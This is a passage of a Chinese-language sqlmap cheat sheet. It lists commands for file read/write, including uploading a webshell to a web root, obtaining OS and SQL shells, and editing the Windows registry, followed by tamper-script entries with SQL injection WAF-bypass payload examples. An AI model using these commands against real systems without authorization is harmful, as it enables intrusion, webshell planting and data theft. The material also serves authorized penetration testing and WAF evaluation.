- -file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
- -file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
- -file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
```bash
sqlmap -r aaa.txt --file-dest "e:\php\htdocs\dvwa\inc\include\1.php" --file-write "f:\webshell\1112.php"
# 注 : mysql 不支持列目录,仅支持读取单个文件.sqlserver 可以列目录,不能读写文件,但需要一个 xp_dirtree 函数
```
**提权**
```bash
sqlmap -u URL --sql-shell # 获取一个 sql-shell 会话
sqlmap -u URL --os-shell # 获取一个 os-shell 会话
sqlmap -u URL --os-cmd=ipconfig # 在注入点直接执行命令
sqlmap -d "mssql://sa:sql123456@ip:1433/master" --os-shell # 知道数据库密码后提权成为交互式系统shell
```
**对 Windows 注册表操作**
```bash
--reg-read # 读取注册表值
--reg-add # 写入注册表值
--reg-del # 删除注册表值
--reg-key,--reg-value,--reg-data,--reg-type # 注册表辅助选项
sqlmap -u URL --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
```
**预估完成时间**
```bash
--eta # 计算注入数据的剩余时间
```
**测试 WAF/IPS/IDS 保护**
```bash
--identify-waf # 尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。
--mobile # 模仿智能手机
--referer "http://www.google.com" # 模拟来源
--user-agent "Googlebot/2.1(+http://www.googlebot.com/bot.html)" # 模拟谷歌蜘蛛
--skip-waf
```
**尝试 getshell**
```bash
sqlmap -d "mysql://root:root@192.168.1.1:3306/mysql" --os-shell
```
**宽字节检测**
```bash
sqlmap -u URL --dbms mysql --prefix "%df%27" --technique U -v 3 # 宽字节检测
```
**union 语句测试**
```bash
--union-cols=UCOLS 测试UNION查询的SQL注入的列的范围
--union-char=UCHAR 用来破解列数的字符
--union-from=UFROM 在UNION查询的FROM部分中使用的表
```
---
## tamper
用法
```
python sqlmap.py -u http://xx.xxx.xx.xx?id=1 --tamper xxx.py
```
**相关文章**
- [工具使用|神器Sqlmap tamper的使用介绍](https://mp.weixin.qq.com/s/gOvVWcjyCZypdnNxHyPS2g)
- [SQLMAP-Tamper之较为通用的双写绕过](https://mp.weixin.qq.com/s/iLhKD9sqrjchx63rFAS2Ew)
### 0eunion.py
> Replaces instances of <int> UNION with <int>e0UNION
使用 `e0UNION` 替换 `UNION`
Requirement:
* MySQL
* MsSQL
Notes:
* Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf
```py
>>> tamper('1 UNION ALL SELECT')
'1e0UNION ALL SELECT'
```
### apostrophemask.py
> Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87)
将 `'` 替换成 UTF-8 urlencoded 的 `%EF%BC%87`
References:
* http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
* https://web.archive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/
* https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.php?13,11562,11850
* https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps
```py
>>> tamper("1 AND '1'='1")
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
```
### apostrophenullencode.py
> Replaces apostrophe character (') with its illegal double unicode counterpart (e.g. ' -> %00%27)
将 `'` 替换成 `%00%27`
```py
>>> tamper("1 AND '1'='1")
'1 AND %00%271%00%27=%00%271'
```
### appendnullbyte.py
> Appends (Access) NULL byte character (%00) at the end of payload
在参数末尾加入 `%00`
Requirement:
* Microsoft Access
Reference
* http://projects.webappsec.org/w/page/13246949/Null-Byte-Injection
```py
>>> tamper('1 AND 1=1')
'1 AND 1=1%00'
```
### base64encode.py
> Base64-encodes all characters in a given payload
base64 编码所有字符
```py
>>> tamper("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
```
### between.py
> Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' and equals operator ('=') with 'BETWEEN # AND #'
将 `>` 字符替换为 NOT BETWEEN 0 AND
将 `=` 字符替换为 BETWEEN # AND #
```py
>>> tamper('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
>>> tamper('1 AND A = B--')
'1 AND A BETWEEN B AND B--'
>>> tamper('1 AND LAST_INSERT_ROWID()=LAST_INSERT_ROWID()')
'1 AND LAST_INSERT_ROWID() BETWEEN LAST_INSERT_ROWID() AND LAST_INSERT_ROWID()'
```
### binary.py
> Injects keyword binary where possible
Requirement:
* MySQL
```py
>>> tamper('1 UNION ALL SELECT NULL, NULL, NULL')
'1 UNION ALL SELECT binary NULL, binary NULL, binary NULL'
>>> tamper('1 AND 2>1')
'1 AND binary 2>binary 1'
>>> tamper('CASE WHEN (1=1) THEN 1 ELSE 0x28 END')
'CASE WHEN (binary 1=binary 1) THEN binary 1 ELSE binary 0x28 END'
```
### bluecoat.py
> Replaces space character after SQL statement with a valid random blank character. Afterwards replace character '=' with operator LIKE
将 sql 语句后的空格字符替换为 `%09`,`LIKE` 替换字符 `=`
Requirement:
* Blue Coat SGOS with WAF activated as documented in https://kb.bluecoat.com/index?page=content&id=FAQ2147
Tested against:
* MySQL 5.1, SGOS
```py
>>> tamper('SELECT id FROM users WHERE id = 1')
'SELECT%09id FROM%09users WHERE%09id LIKE 1'
```
### chardoubleencode.py
> Double URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %2553%2545%254C%2545%2543%2554)
二次URL编码
```py
>>> tamper('SELECT FIELD FROM%20TABLE')
'%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545'
```
### charencode.py
> URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %53%45%4C%45%43%54)
URL编码
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
```py
>>> tamper('SELECT FIELD FROM%20TABLE')
'%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45'
```
### charunicodeencode.py
> Unicode-URL-encodes all characters in a given payload (not processing already encoded) (e.g. SELECT -> %u0053%u0045%u004C%u0045%u0043%u0054)
URL编码
Requirement:
* ASP
* ASP.NET
Tested against:
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
* MySQL 5.1.56
* PostgreSQL 9.0.3
```py
>>> tamper('SELECT FIELD%20FROM TABLE')
'%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045'
```
### charunicodeescape.py
> Unicode-escapes non-encoded characters in a given payload (not processing already encoded) (e.g. SELECT -> \u0053\u0045\u004C\u0045\u0043\u0054)
url 解码中的 `%` 换成 `\\`
```py
>>> tamper('SELECT FIELD FROM TABLE')
'\\\\u0053\\\\u0045\\\\u004C\\\\u0045\\\\u0043\\\\u0054\\\\u0020\\\\u0046\\\\u0049\\\\u0045\\\\u004C\\\\u0044\\\\u0020\\\\u0046\\\\u0052\\\\u004F\\\\u004D\\\\u0020\\\\u0054\\\\u0041\\\\u0042\\\\u004C\\\\u0045'
```
### commalesslimit.py
> Replaces (MySQL) instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' counterpart
替换字符的位置
Requirement:
* MySQL
Tested against:
* MySQL 5.0 and 5.5
```py
>>> tamper('LIMIT 2, 3')
'LIMIT 3 OFFSET 2'
```
### commalessmid.py
> Replaces (MySQL) instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' counterpart
用 'MID(A FROM B FOR C)' 代替 'MID(A, B, C)'
Requirement:
* MySQL
Tested against:
* MySQL 5.0 and 5.5
```py
>>> tamper('MID(VERSION(), 1, 1)')
'MID(VERSION() FROM 1 FOR 1)'
```
### commentbeforeparentheses.py
> Prepends (inline) comment before parentheses (e.g. ( -> /**/()
在括号前添加内联注释
Tested against:
* Microsoft SQL Server
* MySQL
* Oracle
* PostgreSQL
```py
>>> tamper('SELECT ABS(1)')
'SELECT ABS/**/(1)'
```
### concat2concatws.py
> Replaces (MySQL) instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' counterpart
将 `concat(a,b)` 替换成 `concat_ws(mid(char(0),0,0),a,b)`
Requirement:
* MySQL
Tested against:
* MySQL 5.0
```py
>>> tamper('CONCAT(1,2)')
'CONCAT_WS(MID(CHAR(0),0,0),1,2)'
"""
```
### dunion.py
> Replaces instances of <int> UNION with <int>DUNION
将 `UNION` 换成 `DUNION`
Requirement:
* Oracle
Reference
* https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf
```py
>>> tamper('1 UNION ALL SELECT')
'1DUNION ALL SELECT'
```
### equaltolike.py
> Replaces all occurrences of operator equal ('=') with 'LIKE' counterpart
将 `=` 换成 `LIKE`
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
```py
>>> tamper('SELECT * FROM users WHERE id=1')
'SELECT * FROM users WHERE id LIKE 1'
```
### equaltorlike.py
> Replaces all occurrences of operator equal ('=') with 'RLIKE' counterpart
将 `=` 换成 `RLIKE`
Tested against:
* MySQL 4, 5.0 and 5.5
```py
>>> tamper('SELECT * FROM users WHERE id=1')
'SELECT * FROM users WHERE id RLIKE 1'
```
### escapequotes.py
> Slash escape single and double quotes (e.g. ' -> \')
```py
>>> tamper('1" AND SLEEP(5)#')
'1\\\\" AND SLEEP(5)#'
```
### greatest.py
> Replaces greater than operator ('>') with 'GREATEST' counterpart
使用 `greatest` 替换 `>`
Tested against:
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
```py
>>> tamper('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'
```
### halfversionedmorekeywords.py
> Adds (MySQL) versioned comment before each keyword
在每个关键词前添加(MySQL)的版本注释
Requirement:
* MySQL < 5.1
Tested against:
* MySQL 4.0.18, 5.0.22
```py
>>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
```
### hex2char.py
> Replaces each (MySQL) 0x<hex> encoded string with equivalent CONCAT(CHAR(),...) counterpart
用对应的 CONCAT(CHAR(),...) 替换每个 (MySQL)0x<hex> 编码的字符串。
Requirement:
* MySQL
Tested against:
* MySQL 4, 5.0 and 5.5
```py
>>> tamper('SELECT 0xdeadbeef')
'SELECT CONCAT(CHAR(222),CHAR(173),CHAR(190),CHAR(239))'
```
### htmlencode.py
> HTML encode (using code points) all non-alphanumeric characters (e.g. ' -> ')
HTML编码(使用代码点)所有非字母数字字符(例如,`'`-> `'`)。
```py
>>> tamper("1' AND SLEEP(5)#")
'1' AND SLEEP(5)#'
```
### ifnull2casewhenisnull.py
> Replaces instances like 'IFNULL(A, B)' with 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END' counterpart
用 `'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END'` 代替 `'IFNULL(A, B)'` 这样的实例。
Requirement:
* MySQL
* SQLite (possibly)
* SAP MaxDB (possibly)
Tested against:
* MySQL 5.0 and 5.5
```py
>>> tamper('IFNULL(1, 2)')
'CASE WHEN ISNULL(1) THEN (2) ELSE (1) END'
```
### ifnull2ifisnull.py
> Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' counterpart
用 `IF(ISNULL(A), B, A)` 代替 `IFNULL(A, B)` 这样的实例。
Requirement:
* MySQL
* SQLite (possibly)
* SAP MaxDB (possibly)
Tested against:
* MySQL 5.0 and 5.5
```py
>>> tamper('IFNULL(1, 2)')
'IF(ISNULL(1),2,1)'
```
### informationschemacomment.py
> Add an inline comment (/**/) to the end of all occurrences of (MySQL) "information_schema" identifier
在所有出现的(MySQL)`"information_schema"` 标识符的末尾添加一个内联注释(`/**/`)。
```py
>>> tamper('SELECT table_name FROM INFORMATION_SCHEMA.TABLES')
'SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES'
```
### least.py
> Replaces greater than operator ('>') with 'LEAST' counterpart
用 `LEAST` 代替大于运算符(`>`)。
Tested against:
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
```py
>>> tamper('1 AND A > B')
'1 AND LEAST(A,B+1)=B+1'
```
### lowercase.py
> Replaces each keyword character with lower case value (e.g. SELECT -> select)
用小写字母值替换每个关键词字符(例如:`SELECT` -> `select`)。
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
```py
>>> tamper('INSERT')
'insert'
```
### luanginx.py
> LUA-Nginx WAFs Bypass (e.g. Cloudflare)
Reference:
* https://opendatasecurity.io/cloudflare-vulnerability-allows-waf-be-disabled/
```py
>>> random.seed(0); hints={}; payload = tamper("1 AND 2>1", hints=hints); "%s&%s" % (hints[HINT.PREPEND], payload)
'34=&Xe=&90=&Ni=&rW=&lc=&te=&T4=&zO=&NY=&B4=&hM=&X2=&pU=&D8=&hm=&p0=&7y=&18=&RK=&Xi=&5M=&vM=&hO=&bg=&5c=&b8=&dE=&7I=&5I=&90=&R2=&BK=&bY=&p4=&lu=&po=&Vq=&bY=&3c=&ps=&Xu=&lK=&3Q=&7s=&pq=&1E=&rM=&FG=&vG=&Xy=&tQ=&lm=&rO=&pO=&rO=&1M=&vy=&La=&xW=&f8=&du=&94=&vE=&9q=&bE=&lQ=&JS=&NQ=&fE=&RO=&FI=&zm=&5A=&lE=&DK=&x8=&RQ=&Xw=&LY=&5S=&zi=&Js=&la=&3I=&r8=&re=&Xe=&5A=&3w=&vs=&zQ=&1Q=&HW=&Bw=&Xk=&LU=&Lk=&1E=&Nw=&pm=&ns=&zO=&xq=&7k=&v4=&F6=&Pi=&vo=&zY=&vk=&3w=&tU=&nW=&TG=&NM=&9U=&p4=&9A=&T8=&Xu=&xa=&Jk=&nq=&La=&lo=&zW=&xS=&v0=&Z4=&vi=&Pu=&jK=&DE=&72=&fU=&DW=&1g=&RU=&Hi=&li=&R8=&dC=&nI=&9A=&tq=&1w=&7u=&rg=&pa=&7c=&zk=&rO=&xy=&ZA=&1K=&ha=&tE=&RC=&3m=&r2=&Vc=&B6=&9A=&Pk=&Pi=&zy=&lI=&pu=&re=&vS=&zk=&RE=&xS=&Fs=&x8=&Fe=&rk=&Fi=&Tm=&fA=&Zu=&DS=&No=&lm=&lu=&li=&jC=&Do=&Tw=&xo=&zQ=&nO=&ng=&nC=&PS=&fU=&Lc=&Za=&Ta=&1y=&lw=&pA=&ZW=&nw=&pM=&pa=&Rk=&lE=&5c=&T4=&Vs=&7W=&Jm=&xG=&nC=&Js=&xM=&Rg=&zC=&Dq=&VA=&Vy=&9o=&7o=&Fk=&Ta=&Fq=&9y=&vq=&rW=&X4=&1W=&hI=&nA=&hs=&He=&No=&vy=&9C=&ZU=&t6=&1U=&1Q=&Do=&bk=&7G=&nA=&VE=&F0=&BO=&l2=&BO=&7o=&zq=&B4=&fA=&lI=&Xy=&Ji=&lk=&7M=&JG=&Be=&ts=&36=&tW=&fG=&T4=&vM=&hG=&tO=&VO=&9m=&Rm=&LA=&5K=&FY=&HW=&7Q=&t0=&3I=&Du=&Xc=&BS=&N0=&x4=&fq=&jI=&Ze=&TQ=&5i=&T2=&FQ=&VI=&Te=&Hq=&fw=&LI=&Xq=&LC=&B0=&h6=&TY=&HG=&Hw=&dK=&ru=&3k=&JQ=&5g=&9s=&HQ=&vY=&1S=&ta=&bq=&1u=&9i=&DM=&DA=&TG=&vQ=&Nu=&RK=&da=&56=&nm=&vE=&Fg=&jY=&t0=&DG=&9o=&PE=&da=&D4=&VE=&po=&nm=&lW=&X0=&BY=&NK=&pY=&5Q=&jw=&r0=&FM=&lU=&da=&ls=&Lg=&D8=&B8=&FW=&3M=&zy=&ho=&Dc=&HW=&7E=&bM=&Re=&jk=&Xe=&JC=&vs=&Ny=&D4=&fA=&DM=&1o=&9w=&3C=&Rw=&Vc=&Ro=&PK=&rw=&Re=&54=&xK=&VK=&1O=&1U=&vg=&Ls=&xq=&NA=&zU=&di=&BS=&pK=&bW=&Vq=&BC=&l6=&34=&PE=&JG=&TA=&NU=&hi=&T0=&Rs=&fw=&FQ=&NQ=&Dq=&Dm=&1w=&PC=&j2=&r6=&re=&t2=&Ry=&h2=&9m=&nw=&X4=&vI=&rY=&1K=&7m=&7g=&J8=&Pm=&RO=&7A=&fO=&1w=&1g=&7U=&7Y=&hQ=&FC=&vu=&Lw=&5I=&t0=&Na=&vk=&Te=&5S=&ZM=&Xs=&Vg=&tE=&J2=&Ts=&Dm=&Ry=&FC=&7i=&h8=&3y=&zk=&5G=&NC=&Pq=&ds=&zK=&d8=&zU=&1a=&d8=&Js=&nk=&TQ=&tC=&n8=&Hc=&Ru=&H0=&Bo=&XE=&Jm=&xK=&r2=&Fu=&FO=&NO=&7g=&PC=&Bq=&3O=&FQ=&1o=&5G=&zS=&Ps=&j0=&b0=&RM=&DQ=&RQ=&zY=&nk=&1 AND 2>1'
```
### misunion.py
> Replaces instances of UNION with -.1UNION
`UNION` 修改为 `-.1UNION`
Requirement:
* MySQL
Reference
* https://raw.githubusercontent.com/y0unge/Notes/master/SQL%20Injection%20WAF%20Bypassing%20shortcut.pdf
```py
>>> tamper('1 UNION ALL SELECT')
'1-.1UNION ALL SELECT'
>>> tamper('1" UNION ALL SELECT')
'1"-.1UNION ALL SELECT'
```
### modsecurityversioned.py
> Embraces complete query with (MySQL) versioned comment
Requirement:
* MySQL
Tested against:
* MySQL 5.0
```py
>>> import random
>>> random.seed(0)
>>> tamper('1 AND 2>1--')
'1 /*!30963AND 2>1*/--'
```
### modsecurityzeroversioned.py
> Embraces complete query with (MySQL) zero-versioned comment
Requirement:
* MySQL
Tested against:
* MySQL 5.0
```py
>>> tamper('1 AND 2>1--')
'1 /*!00000AND 2>1*/--'
```
### multiplespaces.py
> Adds multiple spaces (' ') around SQL keywords
在sql关键字周围添加多个空格
Reference
* https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
```py
>>> random.seed(0)
>>> tamper('1 UNION SELECT foobar')
'1 UNION SELECT foobar'
```
### overlongutf8.py
> Converts all (non-alphanum) characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. ' -> %C0%A7)
将给定的有效载荷中的所有(非字母)字符转换为超长 UTF8(不处理已经编码的)(例如 `'` -> `%C0%A7`)
Reference:
* https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/
* https://www.thecodingforums.com/threads/newbie-question-about-character-encoding-what-does-0xc0-0x8a-have-in-common-with-0xe0-0x80-0x8a.170201/
```py
>>> tamper('SELECT FIELD FROM TABLE WHERE 2>1')
'SELECT%C0%A0FIELD%C0%A0FROM%C0%A0TABLE%C0%A0WHERE%C0%A02%C0%BE1'
```
### overlongutf8more.py
> Converts all characters in a given payload to overlong UTF8 (not processing already encoded) (e.g. SELECT -> %C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94)
Reference:
* https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/
* https://www.thecodingforums.com/threads/newbie-question-about-character-encoding-what-does-0xc0-0x8a-have-in-common-with-0xe0-0x80-0x8a.170201/
```py
>>> tamper('SELECT FIELD FROM TABLE WHERE 2>1')
'%C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94%C0%A0%C1%86%C1%89%C1%85%C1%8C%C1%84%C0%A0%C1%86%C1%92%C1%8F%C1%8D%C0%A0%C1%94%C1%81%C1%82%C1%8C%C1%85%C0%A0%C1%97%C1%88%C1%85%C1%92%C1%85%C0%A0%C0%B2%C0%BE%C0%B1'
```
### percentage.py
> Adds a percentage sign ('%') infront of each character (e.g. SELECT -> %S%E%L%E%C%T)
在每一个字符前面添加一个百分比符号
Requirement:
* ASP
Tested against:
* Microsoft SQL Server 2000, 2005
* MySQL 5.1.56, 5.5.11
* PostgreSQL 9.0
```py
>>> tamper('SELECT FIELD FROM TABLE')
'%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E'
```
### plus2concat.py
> Replaces plus operator ('+') with (MsSQL) function CONCAT() counterpart
用对应的 (MsSQL) 函数 CONCAT() 代替加号运算符('+')。
Tested against:
* Microsoft SQL Server 2012
Requirements:
* Microsoft SQL Server 2012+
```py
>>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL')
'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL'
>>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe')
'1 UNION ALL SELECT NULL,NULL,CONCAT(CHAR(113),CHAR(118),CHAR(112),CHAR(112),CHAR(113),ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)),CHAR(113),CHAR(112),CHAR(107),CHAR(112),CHAR(113))-- qtfe'
```
### plus2fnconcat.py
> Replaces plus operator ('+') with (MsSQL) ODBC function {fn CONCAT()} counterpart
Tested against:
* Microsoft SQL Server 2008
Requirements:
* Microsoft SQL Server 2008+
Notes:
* Useful in case ('+') character is filtered
* https://msdn.microsoft.com/en-us/library/bb630290.aspx
```py
>>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL')
'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL'
>>> tamper('1 UNION ALL SELECT NULL,NULL,CHAR(113)+CHAR(118)+CHAR(112)+CHAR(112)+CHAR(113)+ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32))+CHAR(113)+CHAR(112)+CHAR(107)+CHAR(112)+CHAR(113)-- qtfe')
'1 UNION ALL SELECT NULL,NULL,{fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT({fn CONCAT(CHAR(113),CHAR(118))},CHAR(112))},CHAR(112))},CHAR(113))},ISNULL(CAST(@@VERSION AS NVARCHAR(4000)),CHAR(32)))},CHAR(113))},CHAR(112))},CHAR(107))},CHAR(112))},CHAR(113))}-- qtfe'
```
### randomcase.py
> Replaces each keyword character with random case value (e.g. SELECT -> SEleCt)
字符替换成大小写字符
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
* SQLite 3
```py
>>> import random
>>> random.seed(0)
>>> tamper('INSERT')
'InSeRt'
>>> tamper('f()')
'f()'
>>> tamper('function()')
'FuNcTiOn()'
>>> tamper('SELECT id FROM `user`')
'SeLeCt id FrOm `user`'
```
### randomcomments.py
> Add random inline comments inside SQL keywords (e.g. SELECT -> S/**/E/**/LECT)
在关键字添加内联注释 `//`
```py
>>> import random
>>> random.seed(0)
>>> tamper('INSERT')
'I/**/NS/**/ERT'
```
### schemasplit.py
> Splits FROM schema identifiers (e.g. 'testdb.users') with whitespace (e.g. 'testdb 9.e.users')
将 FROM 模式标识符(如 `testdb.users` )与空白处分割(如 `testdb 9.e.users` )。
Requirement:
* MySQL
Reference:
* https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf
```py
>>> tamper('SELECT id FROM testdb.users')
'SELECT id FROM testdb 9.e.users'
```
### sleep2getlock.py
> Replaces instances like 'SLEEP(5)' with (e.g.) "GET_LOCK('ETgP',5)"
用 `GET_LOCK('ETgP',5)` 取代 `SLEEP(5)`
Requirement:
* MySQL
Tested against:
* MySQL 5.0 and 5.5
Reference:
* https://zhuanlan.zhihu.com/p/35245598
```py
>>> tamper('SLEEP(5)') == "GET_LOCK('%s',5)" % kb.aliasName
True
```
### sp_password.py
> Appends (MsSQL) function 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs
将 sp_password 附加到有效负载的末尾,用来混淆
Requirement:
* MSSQL
Reference:
* http://websec.ca/kb/sql_injection
```py
>>> tamper('1 AND 9227=9227-- ')
'1 AND 9227=9227-- sp_password'
```
### space2comment.py
> Replaces space character (' ') with comments '/**/'
空格替换成//
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
```py
>>> tamper('SELECT id FROM users')
'SELECT/**/id/**/FROM/**/users'
```
### space2dash.py
> Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n')
用一个注释('--')代替空格字符(''),后面是一个随机字符串和一个新行('/n')。
Requirement:
* MSSQL
* SQLite
Reference:
* https://proton.onsec.ru/contest/
```py
>>> random.seed(0)
>>> tamper('1 AND 9227=9227')
'1--upgPydUzKpMX%0AAND--RcDKhIr%0A9227=9227'
```
### space2hash.py
> Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
用('#')字符替换(MySQL)空格字符('')的实例,后面是一个随机字符串和一个新行('/n')。
Requirement:
* MySQL
Tested against:
* MySQL 4.0, 5.0
```py
>>> random.seed(0)
>>> tamper('1 AND 9227=9227')
'1%23upgPydUzKpMX%0AAND%23RcDKhIr%0A9227=9227'
```
### space2morecomment.py
> Replaces (MySQL) instances of space character (' ') with comments '/**_**/'
空格替换成/ /
Tested against:
* MySQL 5.0 and 5.5
```py
>>> tamper('SELECT id FROM users')
'SELECT/**_**/id/**_**/FROM/**_**/users'
```
### space2morehash.py
> Replaces (MySQL) instances of space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
用('#')字符替换(MySQL)空格字符('')的实例,后面是一个随机字符串和一个新行('/n')。
Requirement:
* MySQL >= 5.1.13
Tested against:
* MySQL 5.1.41
```py
>>> random.seed(0)
>>> tamper('1 AND 9227=9227')
'1%23RcDKhIr%0AAND%23upgPydUzKpMX%0A%23lgbaxYjWJ%0A9227=9227'
```
### space2mssqlblank.py
> Replaces (MsSQL) instances of space character (' ') with a random blank character from a valid set of alternate characters
将(MsSQL)空格字符('')的实例替换为一个有效的备用字符集中的随机空白字符。
Requirement:
* Microsoft SQL Server
Tested against:
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
```py
>>> random.seed(0)
>>> tamper('SELECT id FROM users')
'SELECT%0Did%0DFROM%04users'
```
### space2mssqlhash.py
> Replaces space character (' ') with a pound character ('#') followed by a new line ('\n')
将空格替换成 `%23%0A`
Requirement:
* MSSQL
* MySQL
```py
>>> tamper('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'
```
### space2mysqlblank.py
> Replaces (MySQL) instances of space character (' ') with a random blank character from a valid set of alternate characters
将(MySQL)空格字符('')的实例替换为有效替代字符集中的随机空白字符
Requirement:
* MySQL
Tested against:
* MySQL 5.1
```py
>>> random.seed(0)
>>> tamper('SELECT id FROM users')
'SELECT%A0id%0CFROM%0Dusers'
```
### space2mysqldash.py
> Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n')
用注释('--')代替空格字符(''),后面是一个新行('/n')。
Requirement:
* MySQL
* MSSQL
```py
>>> tamper('1 AND 9227=9227')
'1--%0AAND--%0A9227=9227'
```
### space2plus.py
> Replaces space character (' ') with plus ('+')
将空格替换成 `+`
```py
>>> tamper('SELECT id FROM users')
'SELECT+id+FROM+users'
```
### space2randomblank.py
> Replaces space character (' ') with a random blank character from a valid set of alternate characters
用一组有效的备用字符中的随机空白字符替换空格字符('')。
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
```py
>>> random.seed(0)
>>> tamper('SELECT id FROM users')
'SELECT%0Did%0CFROM%0Ausers'
```
### substring2leftright.py
> Replaces PostgreSQL SUBSTRING with LEFT and RIGHT
用 `LEFT` 和 `RIGHT` 取代 PostgreSQL 的 `SUBSTRING`
Tested against:
* PostgreSQL 9.6.12
```py
>>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 1 FOR 1)')
'LEFT((SELECT usename FROM pg_user)::text,1)'
>>> tamper('SUBSTRING((SELECT usename FROM pg_user)::text FROM 3 FOR 1)')
'LEFT(RIGHT((SELECT usename FROM pg_user)::text,-2),1)'
```
### symboliclogical.py
> Replaces AND and OR logical operators with their symbolic counterparts (&& and ||)
将 `and` 和 `or` 的逻辑运算符分别替换为 (`&&` 和 `||`)
```py
>>> tamper("1 AND '1'='1")
"1 %26%26 '1'='1"
```
### unionalltonnion.py
> Replaces instances of UNION ALL SELECT with UNION SELECT counterpart
将 `union all select` 替换成 `union select`
```
>>> tamper('-1 UNION ALL SELECT')
'-1 UNION SELECT'
```
### unmagicquotes.py
> Replaces quote character (') with a multi-byte combo %BF%27 together with generic comment at the end (to make it work)
用多字节组合 `%BF%27` 代替引号字符('),并在结尾处加上通用注释(以使其发挥作用)
Reference:
* http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string
```py
>>> tamper("1' AND 1=1")
'1%bf%27-- -'
```
### uppercase.py
